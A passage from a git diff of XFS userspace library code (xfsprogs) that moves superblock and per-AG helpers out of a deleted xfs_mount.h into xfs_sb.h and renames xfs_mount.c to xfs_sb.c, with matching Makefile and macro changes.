((xfs_agnumber_t)(XFS_BB_TO_FSBT(mp, d) / (mp)->m_sb.sb_agblocks)) +#define xfs_daddr_to_agbno(mp,d) \ + ((xfs_agblock_t)(XFS_BB_TO_FSBT(mp, d) % (mp)->m_sb.sb_agblocks)) + /* Buffer Cache Interfaces */ extern struct cache *libxfs_bcache; @@ -477,7 +481,6 @@ extern xfs_trans_t *libxfs_trans_dup (xfs_trans_t *); extern int libxfs_trans_reserve (xfs_trans_t *, uint,uint,uint,uint,uint); extern int libxfs_trans_commit (xfs_trans_t *, uint); extern void libxfs_trans_cancel (xfs_trans_t *, int); -extern void libxfs_mod_sb (xfs_trans_t *, __int64_t); extern xfs_buf_t *libxfs_trans_getsb (xfs_trans_t *, xfs_mount_t *, int); extern int libxfs_trans_iget (xfs_mount_t *, xfs_trans_t *, xfs_ino_t, @@ -705,7 +708,7 @@ void xfs_dinode_from_disk(struct xfs_icdinode *, #define libxfs_idata_realloc xfs_idata_realloc #define libxfs_idestroy_fork xfs_idestroy_fork -/* xfs_mount.h */ +/* xfs_sb.h */ #define libxfs_mod_sb xfs_mod_sb #define libxfs_sb_from_disk xfs_sb_from_disk #define libxfs_sb_to_disk xfs_sb_to_disk @@ -730,4 +733,9 @@ extern uint32_t crc32c_le(uint32_t crc, unsigned char const *p, size_t len); #include +#define xfs_notice(mp,fmt,args...) cmn_err(CE_NOTE,fmt, ## args) +#define xfs_warn(mp,fmt,args...) cmn_err(CE_WARN,fmt, ## args) +#define xfs_alert(mp,fmt,args...) cmn_err(CE_ALERT,fmt, ## args) +#define xfs_hex_dump(d,n) ((void) 0) + #endif /* __LIBXFS_H__ */ diff --git a/include/libxlog.h b/include/libxlog.h index e65b607..a61e437 100644 --- a/include/libxlog.h +++ b/include/libxlog.h @@ -66,10 +66,6 @@ struct xlog { #define XFS_MOUNT_WAS_CLEAN 0x1 #define unlikely(x) (x) -#define xfs_warn(mp,fmt,args...) cmn_err(CE_WARN,fmt, ## args) -#define xfs_alert(mp,fmt,args...) cmn_err(CE_ALERT,fmt, ## args) -#define xfs_hex_dump(d,n) ((void) 0) - extern void xlog_warn(char *fmt,...); extern void xlog_exit(char *fmt,...); extern void xlog_panic(char *fmt,...); diff --git a/include/xfs_mount.h b/include/xfs_mount.h deleted file mode 100644 index 5410e9f..0000000 --- a/include/xfs_mount.h +++ /dev/null @@ -1,372 +0,0 @@ -/* - * Copyright (c) 2000-2005 Silicon Graphics, Inc. - * All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - */ -#ifndef __XFS_MOUNT_H__ -#define __XFS_MOUNT_H__ - -#ifndef __KERNEL__ - -#define xfs_daddr_to_agno(mp,d) \ - ((xfs_agnumber_t)(XFS_BB_TO_FSBT(mp, d) / (mp)->m_sb.sb_agblocks)) -#define xfs_daddr_to_agbno(mp,d) \ - ((xfs_agblock_t)(XFS_BB_TO_FSBT(mp, d) % (mp)->m_sb.sb_agblocks)) - -#else /* __KERNEL__ */ - -struct xlog; -struct xfs_inode; -struct xfs_mru_cache; -struct xfs_nameops; -struct xfs_ail; -struct xfs_quotainfo; - -#ifdef HAVE_PERCPU_SB - -/* - * Valid per-cpu incore superblock counters. Note that if you add new counters, - * you may need to define new counter disabled bit field descriptors as there - * are more possible fields in the superblock that can fit in a bitfield on a - * 32 bit platform. The XFS_SBS_* values for the current current counters just - * fit. - */ -typedef struct xfs_icsb_cnts { - uint64_t icsb_fdblocks; - uint64_t icsb_ifree; - uint64_t icsb_icount; - unsigned long icsb_flags; -} xfs_icsb_cnts_t; - -#define XFS_ICSB_FLAG_LOCK (1 << 0) /* counter lock bit */ - -#define XFS_ICSB_LAZY_COUNT (1 << 1) /* accuracy not needed */ - -extern int xfs_icsb_init_counters(struct xfs_mount *); -extern void xfs_icsb_reinit_counters(struct xfs_mount *); -extern void xfs_icsb_destroy_counters(struct xfs_mount *); -extern void xfs_icsb_sync_counters(struct xfs_mount *, int); -extern void xfs_icsb_sync_counters_locked(struct xfs_mount *, int); -extern int xfs_icsb_modify_counters(struct xfs_mount *, xfs_sb_field_t, - int64_t, int); - -#else -#define xfs_icsb_init_counters(mp) (0) -#define xfs_icsb_destroy_counters(mp) do { } while (0) -#define xfs_icsb_reinit_counters(mp) do { } while (0) -#define xfs_icsb_sync_counters(mp, flags) do { } while (0) -#define xfs_icsb_sync_counters_locked(mp, flags) do { } while (0) -#define xfs_icsb_modify_counters(mp, field, delta, rsvd) \ - xfs_mod_incore_sb(mp, field, delta, rsvd) -#endif - -/* dynamic preallocation free space thresholds, 5% down to 1% */ -enum { - XFS_LOWSP_1_PCNT = 0, - XFS_LOWSP_2_PCNT, - XFS_LOWSP_3_PCNT, - XFS_LOWSP_4_PCNT, - XFS_LOWSP_5_PCNT, - XFS_LOWSP_MAX, -}; - -typedef struct xfs_mount { - struct super_block *m_super; - xfs_tid_t m_tid; /* next unused tid for fs */ - struct xfs_ail *m_ail; /* fs active log item list */ - xfs_sb_t m_sb; /* copy of fs superblock */ - spinlock_t m_sb_lock; /* sb counter lock */ - struct xfs_buf *m_sb_bp; /* buffer for superblock */ - char *m_fsname; /* filesystem name */ - int m_fsname_len; /* strlen of fs name */ - char *m_rtname; /* realtime device name */ - char *m_logname; /* external log device name */ - int m_bsize; /* fs logical block size */ - xfs_agnumber_t m_agfrotor; /* last ag where space found */ - xfs_agnumber_t m_agirotor; /* last ag dir inode alloced */ - spinlock_t m_agirotor_lock;/* .. and lock protecting it */ - xfs_agnumber_t m_maxagi; /* highest inode alloc group */ - uint m_readio_log; /* min read size log bytes */ - uint m_readio_blocks; /* min read size blocks */ - uint m_writeio_log; /* min write size log bytes */ - uint m_writeio_blocks; /* min write size blocks */ - struct xlog *m_log; /* log specific stuff */ - int m_logbufs; /* number of log buffers */ - int m_logbsize; /* size of each log buffer */ - uint m_rsumlevels; /* rt summary levels */ - uint m_rsumsize; /* size of rt summary, bytes */ - struct xfs_inode *m_rbmip; /* pointer to bitmap inode */ - struct xfs_inode *m_rsumip; /* pointer to summary inode */ - struct xfs_inode *m_rootip; /* pointer to root directory */ - struct xfs_quotainfo *m_quotainfo; /* disk quota information */ - xfs_buftarg_t *m_ddev_targp; /* saves taking the address */ - xfs_buftarg_t *m_logdev_targp;/* ptr to log device */ - xfs_buftarg_t *m_rtdev_targp; /* ptr to rt device */ - __uint8_t m_blkbit_log; /* blocklog + NBBY */ - __uint8_t m_blkbb_log; /* blocklog - BBSHIFT */ - __uint8_t m_agno_log; /* log #ag's */ - __uint8_t m_agino_log; /* #bits for agino in inum */ - __uint16_t m_inode_cluster_size;/* min inode buf size */ - uint m_blockmask; /* sb_blocksize-1 */ - uint m_blockwsize; /* sb_blocksize in words */ - uint m_blockwmask; /* blockwsize-1 */ - uint m_alloc_mxr[2]; /* max alloc btree records */ - uint m_alloc_mnr[2]; /* min alloc btree records */ - uint m_bmap_dmxr[2]; /* max bmap btree records */ - uint m_bmap_dmnr[2]; /* min bmap btree records */ - uint m_inobt_mxr[2]; /* max inobt btree records */ - uint m_inobt_mnr[2]; /* min inobt btree records */ - uint m_ag_maxlevels; /* XFS_AG_MAXLEVELS */ - uint m_bm_maxlevels[2]; /* XFS_BM_MAXLEVELS */ - uint m_in_maxlevels; /* max inobt btree levels. */ - struct radix_tree_root m_perag_tree; /* per-ag accounting info */ - spinlock_t m_perag_lock; /* lock for m_perag_tree */ - struct mutex m_growlock; /* growfs mutex */ - int m_fixedfsid[2]; /* unchanged for life of FS */ - uint m_dmevmask; /* DMI events for this FS */ - __uint64_t m_flags; /* global mount flags */ - uint m_dir_node_ents; /* #entries in a dir danode */ - uint m_attr_node_ents; /* #entries in attr danode */ - int m_ialloc_inos; /* inodes in inode allocation */ - int m_ialloc_blks; /* blocks in inode allocation */ - int m_inoalign_mask;/* mask sb_inoalignmt if used */ - uint m_qflags; /* quota status flags */ - struct xfs_trans_resv m_reservations; /* precomputed res values */ - __uint64_t m_maxicount; /* maximum inode count */ - __uint64_t m_resblks; /* total reserved blocks */ - __uint64_t m_resblks_avail;/* available reserved blocks */ - __uint64_t m_resblks_save; /* reserved blks @ remount,ro */ - int m_dalign; /* stripe unit */ - int m_swidth; /* stripe width */ - int m_sinoalign; /* stripe unit inode alignment */ - int m_attr_magicpct;/* 37% of the blocksize */ - int m_dir_magicpct; /* 37% of the dir blocksize */ - __uint8_t m_sectbb_log; /* sectlog - BBSHIFT */ - const struct xfs_nameops *m_dirnameops; /* vector of dir name ops */ - int m_dirblksize; /* directory block sz--bytes */ - int m_dirblkfsbs; /* directory block sz--fsbs */ - xfs_dablk_t m_dirdatablk; /* blockno of dir data v2 */ - xfs_dablk_t m_dirleafblk; /* blockno of dir non-data v2 */ - xfs_dablk_t m_dirfreeblk; /* blockno of dirfreeindex v2 */ - uint m_chsize; /* size of next field */ - struct xfs_chash *m_chash; /* fs private inode per-cluster - * hash table */ - atomic_t m_active_trans; /* number trans frozen */ -#ifdef HAVE_PERCPU_SB - xfs_icsb_cnts_t __percpu *m_sb_cnts; /* per-cpu superblock counters */ - unsigned long m_icsb_counters; /* disabled per-cpu counters */ - struct notifier_block m_icsb_notifier; /* hotplug cpu notifier */ - struct mutex m_icsb_mutex; /* balancer sync lock */ -#endif - struct xfs_mru_cache *m_filestream; /* per-mount filestream data */ - struct delayed_work m_reclaim_work; /* background inode reclaim */ - struct delayed_work m_eofblocks_work; /* background eof blocks - trimming */ - __int64_t m_update_flags; /* sb flags we need to update - on the next remount,rw */ - int64_t m_low_space[XFS_LOWSP_MAX]; - /* low free space thresholds */ - - struct workqueue_struct *m_data_workqueue; - struct workqueue_struct *m_unwritten_workqueue; - struct workqueue_struct *m_cil_workqueue; - struct workqueue_struct *m_reclaim_workqueue; - struct workqueue_struct *m_log_workqueue; - struct workqueue_struct *m_eofblocks_workqueue; -} xfs_mount_t; - -/* - * Flags for m_flags. - */ -#define XFS_MOUNT_WSYNC (1ULL << 0) /* for nfs - all metadata ops - must be synchronous except - for space allocations */ -#define XFS_MOUNT_WAS_CLEAN (1ULL << 3) -#define XFS_MOUNT_FS_SHUTDOWN (1ULL << 4) /* atomic stop of all filesystem - operations, typically for - disk errors in metadata */ -#define XFS_MOUNT_DISCARD (1ULL << 5) /* discard unused blocks */ -#define XFS_MOUNT_RETERR (1ULL << 6) /* return alignment errors to - user */ -#define XFS_MOUNT_NOALIGN (1ULL << 7) /* turn off stripe alignment - allocations */ -#define XFS_MOUNT_ATTR2 (1ULL << 8) /* allow use of attr2 format */ -#define XFS_MOUNT_GRPID (1ULL << 9) /* group-ID assigned from directory */ -#define XFS_MOUNT_NORECOVERY (1ULL << 10) /* no recovery - dirty fs */ -#define XFS_MOUNT_DFLT_IOSIZE (1ULL << 12) /* set default i/o size */ -#define XFS_MOUNT_32BITINODES (1ULL << 14) /* do not create inodes above - * 32 bits in size */ -#define XFS_MOUNT_SMALL_INUMS (1ULL << 15) /* users wants 32bit inodes */ -#define XFS_MOUNT_NOUUID (1ULL << 16) /* ignore uuid during mount */ -#define XFS_MOUNT_BARRIER (1ULL << 17) -#define XFS_MOUNT_IKEEP (1ULL << 18) /* keep empty inode clusters*/ -#define XFS_MOUNT_SWALLOC (1ULL << 19) /* turn on stripe width - * allocation */ -#define XFS_MOUNT_RDONLY (1ULL << 20) /* read-only fs */ -#define XFS_MOUNT_DIRSYNC (1ULL << 21) /* synchronous directory ops */ -#define XFS_MOUNT_COMPAT_IOSIZE (1ULL << 22) /* don't report large preferred - * I/O size in stat() */ -#define XFS_MOUNT_FILESTREAMS (1ULL << 24) /* enable the filestreams - allocator */ -#define XFS_MOUNT_NOATTR2 (1ULL << 25) /* disable use of attr2 format */ - - -/* - * Default minimum read and write sizes. - */ -#define XFS_READIO_LOG_LARGE 16 -#define XFS_WRITEIO_LOG_LARGE 16 - -/* - * Max and min values for mount-option defined I/O - * preallocation sizes. - */ -#define XFS_MAX_IO_LOG 30 /* 1G */ -#define XFS_MIN_IO_LOG PAGE_SHIFT - -/* - * Synchronous read and write sizes. This should be - * better for NFSv2 wsync filesystems. - */ -#define XFS_WSYNC_READIO_LOG 15 /* 32k */ -#define XFS_WSYNC_WRITEIO_LOG 14 /* 16k */ - -/* - * Allow large block sizes to be reported to userspace programs if the - * "largeio" mount option is used. - * - * If compatibility mode is specified, simply return the basic unit of caching - * so that we don't get inefficient read/modify/write I/O from user apps. - * Otherwise.... - * - * If the underlying volume is a stripe, then return the stripe width in bytes - * as the recommended I/O size. It is not a stripe and we've set a default - * buffered I/O size, return that, otherwise return the compat default. - */ -static inline unsigned long -xfs_preferred_iosize(xfs_mount_t *mp) -{ - if (mp->m_flags & XFS_MOUNT_COMPAT_IOSIZE) - return PAGE_CACHE_SIZE; - return (mp->m_swidth ? - (mp->m_swidth << mp->m_sb.sb_blocklog) : - ((mp->m_flags & XFS_MOUNT_DFLT_IOSIZE) ? - (1 << (int)MAX(mp->m_readio_log, mp->m_writeio_log)) : - PAGE_CACHE_SIZE)); -} - -#define XFS_LAST_UNMOUNT_WAS_CLEAN(mp) \ - ((mp)->m_flags & XFS_MOUNT_WAS_CLEAN) -#define XFS_FORCED_SHUTDOWN(mp) ((mp)->m_flags & XFS_MOUNT_FS_SHUTDOWN) -void xfs_do_force_shutdown(struct xfs_mount *mp, int flags, char *fname, - int lnnum); -#define xfs_force_shutdown(m,f) \ - xfs_do_force_shutdown(m, f, __FILE__, __LINE__) - -#define SHUTDOWN_META_IO_ERROR 0x0001 /* write attempt to metadata failed */ -#define SHUTDOWN_LOG_IO_ERROR 0x0002 /* write attempt to the log failed */ -#define SHUTDOWN_FORCE_UMOUNT 0x0004 /* shutdown from a forced unmount */ -#define SHUTDOWN_CORRUPT_INCORE 0x0008 /* corrupt in-memory data structures */ -#define SHUTDOWN_REMOTE_REQ 0x0010 /* shutdown came from remote cell */ -#define SHUTDOWN_DEVICE_REQ 0x0020 /* failed all paths to the device */ - -/* - * Flags for xfs_mountfs - */ -#define XFS_MFSI_QUIET 0x40 /* Be silent if mount errors found */ - -static inline xfs_agnumber_t -xfs_daddr_to_agno(struct xfs_mount *mp, xfs_daddr_t d) -{ - xfs_daddr_t ld = XFS_BB_TO_FSBT(mp, d); - do_div(ld, mp->m_sb.sb_agblocks); - return (xfs_agnumber_t) ld; -} - -static inline xfs_agblock_t -xfs_daddr_to_agbno(struct xfs_mount *mp, xfs_daddr_t d) -{ - xfs_daddr_t ld = XFS_BB_TO_FSBT(mp, d); - return (xfs_agblock_t) do_div(ld, mp->m_sb.sb_agblocks); -} - -/* - * Per-cpu superblock locking functions - */ -#ifdef HAVE_PERCPU_SB -static inline void -xfs_icsb_lock(xfs_mount_t *mp) -{ - mutex_lock(&mp->m_icsb_mutex); -} - -static inline void -xfs_icsb_unlock(xfs_mount_t *mp) -{ - mutex_unlock(&mp->m_icsb_mutex); -} -#else -#define xfs_icsb_lock(mp) -#define xfs_icsb_unlock(mp) -#endif - -/* - * This structure is for use by the xfs_mod_incore_sb_batch() routine. - * xfs_growfs can specify a few fields which are more than int limit - */ -typedef struct xfs_mod_sb { - xfs_sb_field_t msb_field; /* Field to modify, see below */ - int64_t msb_delta; /* Change to make to specified field */ -} xfs_mod_sb_t; - -extern int xfs_log_sbcount(xfs_mount_t *); -extern __uint64_t xfs_default_resblks(xfs_mount_t *mp); -extern int xfs_mountfs(xfs_mount_t *mp); - -extern void xfs_unmountfs(xfs_mount_t *); -extern int xfs_mod_incore_sb(xfs_mount_t *, xfs_sb_field_t, int64_t, int); -extern int xfs_mod_incore_sb_batch(xfs_mount_t *, xfs_mod_sb_t *, - uint, int); -extern int xfs_mount_log_sb(xfs_mount_t *, __int64_t); -extern struct xfs_buf *xfs_getsb(xfs_mount_t *, int); -extern int xfs_readsb(xfs_mount_t *, int); -extern void xfs_freesb(xfs_mount_t *); -extern int xfs_fs_writable(xfs_mount_t *); -extern int xfs_sb_validate_fsb_count(struct xfs_sb *, __uint64_t); - -extern int xfs_dev_is_read_only(struct xfs_mount *, char *); - -extern void xfs_set_low_space_thresholds(struct xfs_mount *); - -#endif /* __KERNEL__ */ - -/* - * perag get/put wrappers for ref counting - */ -struct xfs_perag *xfs_perag_get(struct xfs_mount *mp, xfs_agnumber_t agno); -struct xfs_perag *xfs_perag_get_tag(struct xfs_mount *mp, xfs_agnumber_t agno, - int tag); -void xfs_perag_put(struct xfs_perag *pag); - -extern void xfs_sb_calc_crc(struct xfs_buf *); -extern void xfs_mod_sb(struct xfs_trans *, __int64_t); -extern int xfs_initialize_perag(struct xfs_mount *, xfs_agnumber_t, - xfs_agnumber_t *); -extern void xfs_sb_from_disk(struct xfs_sb *, struct xfs_dsb *); -extern void xfs_sb_to_disk(struct xfs_dsb *, struct xfs_sb *, __int64_t); - -extern const struct xfs_buf_ops xfs_sb_buf_ops; - -#endif /* __XFS_MOUNT_H__ */ diff --git a/include/xfs_sb.h b/include/xfs_sb.h index 4a710d6..04fe32a 100644 --- a/include/xfs_sb.h +++ b/include/xfs_sb.h @@ -26,6 +26,7 @@ struct xfs_buf; struct xfs_mount; +struct xfs_trans; #define XFS_SB_MAGIC 0x58465342 /* 'XFSB' */ #define XFS_SB_VERSION_1 1 /* 5.3, 6.0.1, 6.1 */ @@ -630,6 +631,12 @@ static inline int xfs_sb_version_has_pquotino(xfs_sb_t *sbp) return XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5; } +static inline bool +xfs_is_quota_inode(struct xfs_sb *sbp, xfs_ino_t ino) +{ + return (ino == sbp->sb_uquotino || ino == sbp->sb_gquotino); +} + /* * end of superblock version macros */ @@ -666,4 +673,23 @@ static inline int xfs_sb_version_has_pquotino(xfs_sb_t *sbp) #define XFS_B_TO_FSBT(mp,b) (((__uint64_t)(b)) >> (mp)->m_sb.sb_blocklog) #define XFS_B_FSB_OFFSET(mp,b) ((b) & (mp)->m_blockmask) +/* + * perag get/put wrappers for ref counting + */ +extern struct xfs_perag *xfs_perag_get(struct xfs_mount *, xfs_agnumber_t); +extern struct xfs_perag *xfs_perag_get_tag(struct xfs_mount *, xfs_agnumber_t, + int tag); +extern void xfs_perag_put(struct xfs_perag *pag); +extern int xfs_initialize_perag_data(struct xfs_mount *, xfs_agnumber_t); + +extern void xfs_sb_calc_crc(struct xfs_buf *); +extern void xfs_mod_sb(struct xfs_trans *, __int64_t); +extern void xfs_sb_mount_common(struct xfs_mount *, struct xfs_sb *); +extern void xfs_sb_from_disk(struct xfs_sb *, struct xfs_dsb *); +extern void xfs_sb_to_disk(struct xfs_dsb *, struct xfs_sb *, __int64_t); +extern void xfs_sb_quota_from_disk(struct xfs_sb *sbp); + +extern const struct xfs_buf_ops xfs_sb_buf_ops; +extern const struct xfs_buf_ops xfs_sb_quiet_buf_ops; + #endif /* __XFS_SB_H__ */ diff --git a/include/xfs_trace.h b/include/xfs_trace.h index 5f32097..1d2728e 100644 --- a/include/xfs_trace.h +++ b/include/xfs_trace.h @@ -162,6 +162,7 @@ /* set c = c to avoid unused var warnings */ #define trace_xfs_perag_get(a,b,c,d) ((c) = (c)) +#define trace_xfs_perag_get_tag(a,b,c,d) ((c) = (c)) #define trace_xfs_perag_put(a,b,c,d) ((c) = (c)) #endif /* __TRACE_H__ */ diff --git a/libxfs/Makefile b/libxfs/Makefile index 6ba38f9..5608020 100644 --- a/libxfs/Makefile +++ b/libxfs/Makefile @@ -11,9 +11,13 @@ LT_REVISION = 0 LT_AGE = 0 HFILES = xfs.h init.h xfs_dir2_priv.h crc32defs.h crc32table.h -CFILES = cache.c init.c kmem.c logitem.c radix-tree.c rdwr.c trans.c util.c \ +CFILES = cache.c \ + crc32.c \ + init.c kmem.c logitem.c radix-tree.c rdwr.c trans.c util.c \ xfs_alloc.c \ xfs_alloc_btree.c \ + xfs_attr.c \ + xfs_attr_remote.c \ xfs_btree.c \ xfs_ialloc.c \ xfs_inode_buf.c \ @@ -21,8 +25,8 @@ CFILES = cache.c init.c kmem.c logitem.c radix-tree.c rdwr.c trans.c util.c \ xfs_ialloc_btree.c xfs_bmap_btree.c xfs_da_btree.c \ xfs_dir2.c xfs_dir2_leaf.c xfs_attr_leaf.c xfs_dir2_block.c \ xfs_dir2_node.c xfs_dir2_data.c xfs_dir2_sf.c xfs_bmap.c \ - xfs_mount.c xfs_rtalloc.c xfs_attr.c xfs_attr_remote.c \ - crc32.c \ + xfs_rtalloc.c \ + xfs_sb.c \ xfs_symlink_remote.c \ xfs_trans_resv.c diff --git a/libxfs/init.c b/libxfs/init.c index 5c418bc..db7eeea 100644 --- a/libxfs/init.c +++ b/libxfs/init.c @@ -692,7 +692,7 @@ libxfs_mount( INIT_RADIX_TREE(&mp->m_perag_tree, GFP_KERNEL); sbp = &(mp->m_sb); - xfs_mount_common(mp, sb); + xfs_sb_mount_common(mp, sb); xfs_alloc_compute_maxlevels(mp); xfs_bmap_compute_maxlevels(mp, XFS_DATA_FORK); diff --git a/libxfs/xfs.h b/libxfs/xfs.h index 1a01c61..0113b50 100644 --- a/libxfs/xfs.h +++ b/libxfs/xfs.h @@ -345,6 +345,7 @@ do { \ #define uuid_equal(s,d) (platform_uuid_compare((s),(d)) == 0) #define xfs_icreate_log(tp, agno, agbno, cnt, isize, len, gen) ((void) 0) +#define xfs_sb_validate_fsb_count(sbp, nblks) (0) /* * Prototypes for kernel static functions that are aren't in their diff --git a/libxfs/xfs_mount.c b/libxfs/xfs_sb.c similarity index 78% rename from libxfs/xfs_mount.c rename to libxfs/xfs_sb.c index 8b267bc..8b90b88 100644 --- a/libxfs/xfs_mount.c +++ b/libxfs/xfs_sb.c @@ -15,70 +15,73 @@ * along with this program; if not, write the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ - #include +/* + * Physical superblock buffer manipulations. Shared with libxfs in userspace. + */ + static const struct { short offset; short type; /* 0 = integer * 1 = binary / string (no translation) */ } xfs_sb_info[] = { - { offsetof(xfs_sb_t, sb_magicnum), 0 }, - { offsetof(xfs_sb_t, sb_blocksize), 0 }, - { offsetof(xfs_sb_t, sb_dblocks), 0 }, - { offsetof(xfs_sb_t, sb_rblocks), 0 }, - { offsetof(xfs_sb_t, sb_rextents), 0 }, - { offsetof(xfs_sb_t, sb_uuid), 1 }, - { offsetof(xfs_sb_t, sb_logstart), 0 }, - { offsetof(xfs_sb_t, sb_rootino), 0 }, - { offsetof(xfs_sb_t, sb_rbmino), 0 }, - { offsetof(xfs_sb_t, sb_rsumino), 0 }, - { offsetof(xfs_sb_t, sb_rextsize), 0 }, - { offsetof(xfs_sb_t, sb_agblocks), 0 }, - { offsetof(xfs_sb_t, sb_agcount), 0 }, - { offsetof(xfs_sb_t, sb_rbmblocks), 0 }, - { offsetof(xfs_sb_t, sb_logblocks), 0 }, - { offsetof(xfs_sb_t, sb_versionnum), 0 }, - { offsetof(xfs_sb_t, sb_sectsize), 0 }, - { offsetof(xfs_sb_t, sb_inodesize), 0 }, - { offsetof(xfs_sb_t, sb_inopblock), 0 }, - { offsetof(xfs_sb_t, sb_fname[0]), 1 }, - { offsetof(xfs_sb_t, sb_blocklog), 0 }, - { offsetof(xfs_sb_t, sb_sectlog), 0 }, - { offsetof(xfs_sb_t, sb_inodelog), 0 }, - { offsetof(xfs_sb_t, sb_inopblog), 0 }, - { offsetof(xfs_sb_t, sb_agblklog), 0 }, - { offsetof(xfs_sb_t, sb_rextslog), 0 }, - { offsetof(xfs_sb_t, sb_inprogress), 0 }, - { offsetof(xfs_sb_t, sb_imax_pct), 0 }, - { offsetof(xfs_sb_t, sb_icount), 0 }, - { offsetof(xfs_sb_t, sb_ifree), 0 }, - { offsetof(xfs_sb_t, sb_fdblocks), 0 }, - { offsetof(xfs_sb_t, sb_frextents), 0 }, - { offsetof(xfs_sb_t, sb_uquotino), 0 }, - { offsetof(xfs_sb_t, sb_gquotino), 0 }, - { offsetof(xfs_sb_t, sb_qflags), 0 }, - { offsetof(xfs_sb_t, sb_flags), 0 }, - { offsetof(xfs_sb_t, sb_shared_vn), 0 }, - { offsetof(xfs_sb_t, sb_inoalignmt), 0 }, - { offsetof(xfs_sb_t, sb_unit), 0 }, - { offsetof(xfs_sb_t, sb_width), 0 }, - { offsetof(xfs_sb_t, sb_dirblklog), 0 }, - { offsetof(xfs_sb_t, sb_logsectlog), 0 }, - { offsetof(xfs_sb_t, sb_logsectsize),0 }, - { offsetof(xfs_sb_t, sb_logsunit), 0 }, - { offsetof(xfs_sb_t, sb_features2), 0 }, - { offsetof(xfs_sb_t, sb_bad_features2), 0 }, - { offsetof(xfs_sb_t, sb_features_compat), 0 }, - { offsetof(xfs_sb_t, sb_features_ro_compat), 0 }, - { offsetof(xfs_sb_t, sb_features_incompat), 0 }, - { offsetof(xfs_sb_t, sb_features_log_incompat), 0 }, - { offsetof(xfs_sb_t, sb_crc), 0 }, - { offsetof(xfs_sb_t, sb_pad), 0 }, - { offsetof(xfs_sb_t, sb_pquotino), 0 }, - { offsetof(xfs_sb_t, sb_lsn), 0 }, - { sizeof(xfs_sb_t), 0 } + { offsetof(xfs_sb_t, sb_magicnum), 0 }, + { offsetof(xfs_sb_t, sb_blocksize), 0 }, + { offsetof(xfs_sb_t, sb_dblocks), 0 }, + { offsetof(xfs_sb_t, sb_rblocks), 0 }, + { offsetof(xfs_sb_t, sb_rextents), 0 }, + { offsetof(xfs_sb_t, sb_uuid), 1 }, + { offsetof(xfs_sb_t, sb_logstart), 0 }, + { offsetof(xfs_sb_t, sb_rootino), 0 }, + { offsetof(xfs_sb_t, sb_rbmino), 0 }, + { offsetof(xfs_sb_t, sb_rsumino), 0 }, + { offsetof(xfs_sb_t, sb_rextsize), 0 }, + { offsetof(xfs_sb_t, sb_agblocks), 0 }, + { offsetof(xfs_sb_t, sb_agcount), 0 }, + { offsetof(xfs_sb_t, sb_rbmblocks), 0 }, + { offsetof(xfs_sb_t, sb_logblocks), 0 }, + { offsetof(xfs_sb_t, sb_versionnum), 0 }, + { offsetof(xfs_sb_t, sb_sectsize), 0 }, + { offsetof(xfs_sb_t, sb_inodesize), 0 }, + { offsetof(xfs_sb_t, sb_inopblock), 0 }, + { offsetof(xfs_sb_t, sb_fname[0]), 1 }, + { offsetof(xfs_sb_t, sb_blocklog), 0 }, + { offsetof(xfs_sb_t, sb_sectlog), 0 }, + { offsetof(xfs_sb_t, sb_inodelog), 0 }, + { offsetof(xfs_sb_t, sb_inopblog), 0 }, + { offsetof(xfs_sb_t, sb_agblklog), 0 }, + { offsetof(xfs_sb_t, sb_rextslog), 0 }, + { offsetof(xfs_sb_t, sb_inprogress), 0 }, + { offsetof(xfs_sb_t, sb_imax_pct), 0 }, + { offsetof(xfs_sb_t, sb_icount), 0 }, + { offsetof(xfs_sb_t, sb_ifree), 0 }, + { offsetof(xfs_sb_t, sb_fdblocks), 0 }, + { offsetof(xfs_sb_t, sb_frextents), 0 }, + { offsetof(xfs_sb_t, sb_uquotino), 0 }, + { offsetof(xfs_sb_t, sb_gquotino), 0 }, + { offsetof(xfs_sb_t, sb_qflags), 0 }, + { offsetof(xfs_sb_t, sb_flags), 0 }, + { offsetof(xfs_sb_t, sb_shared_vn), 0 }, + { offsetof(xfs_sb_t, sb_inoalignmt), 0 }, + { offsetof(xfs_sb_t, sb_unit), 0 }, + { offsetof(xfs_sb_t, sb_width), 0 }, + { offsetof(xfs_sb_t, sb_dirblklog), 0 }, + { offsetof(xfs_sb_t, sb_logsectlog), 0 }, + { offsetof(xfs_sb_t, sb_logsectsize), 0 }, + { offsetof(xfs_sb_t, sb_logsunit), 0 }, + { offsetof(xfs_sb_t, sb_features2), 0 }, + { offsetof(xfs_sb_t, sb_bad_features2), 0 }, + { offsetof(xfs_sb_t, sb_features_compat), 0 }, + { offsetof(xfs_sb_t, sb_features_ro_compat), 0 }, + { offsetof(xfs_sb_t, sb_features_incompat), 0 }, + { offsetof(xfs_sb_t, sb_features_log_incompat), 0 }, + { offsetof(xfs_sb_t, sb_crc), 0 }, + { offsetof(xfs_sb_t, sb_pad), 0 }, + { offsetof(xfs_sb_t, sb_pquotino), 0 }, + { offsetof(xfs_sb_t, sb_lsn), 0 }, + { sizeof(xfs_sb_t), 0 } }; /* @@ -87,7 +90,9 @@ static const struct { * have to protect against changes is the tree structure itself. */ struct xfs_perag * -xfs_perag_get(struct xfs_mount *mp, xfs_agnumber_t agno) +xfs_perag_get( + struct xfs_mount *mp, + xfs_agnumber_t agno) { struct xfs_perag *pag; int ref = 0; @@ -103,8 +108,35 @@ xfs_perag_get(struct xfs_mount *mp, xfs_agnumber_t agno) return pag; } +/* + * search from @first to find the next perag with the given tag set. + */ +struct xfs_perag * +xfs_perag_get_tag( + struct xfs_mount *mp, + xfs_agnumber_t first, + int tag) +{ + struct xfs_perag *pag; + int found; + int ref; + + rcu_read_lock(); + found = radix_tree_gang_lookup_tag(&mp->m_perag_tree, + (void **)&pag, first, 1, tag); + if (found <= 0) { + rcu_read_unlock(); + return NULL; + } + ref = atomic_inc_return(&pag->pag_ref); + rcu_read_unlock(); + trace_xfs_perag_get_tag(mp, pag->pag_agno, ref, _RET_IP_); + return pag; +} + void -xfs_perag_put(struct xfs_perag *pag) +xfs_perag_put( + struct xfs_perag *pag) { int ref; @@ -144,7 +176,8 @@ xfs_mount_validate_sb( /* * Version 5 superblock feature mask validation. Reject combinations the - * kernel cannot support up 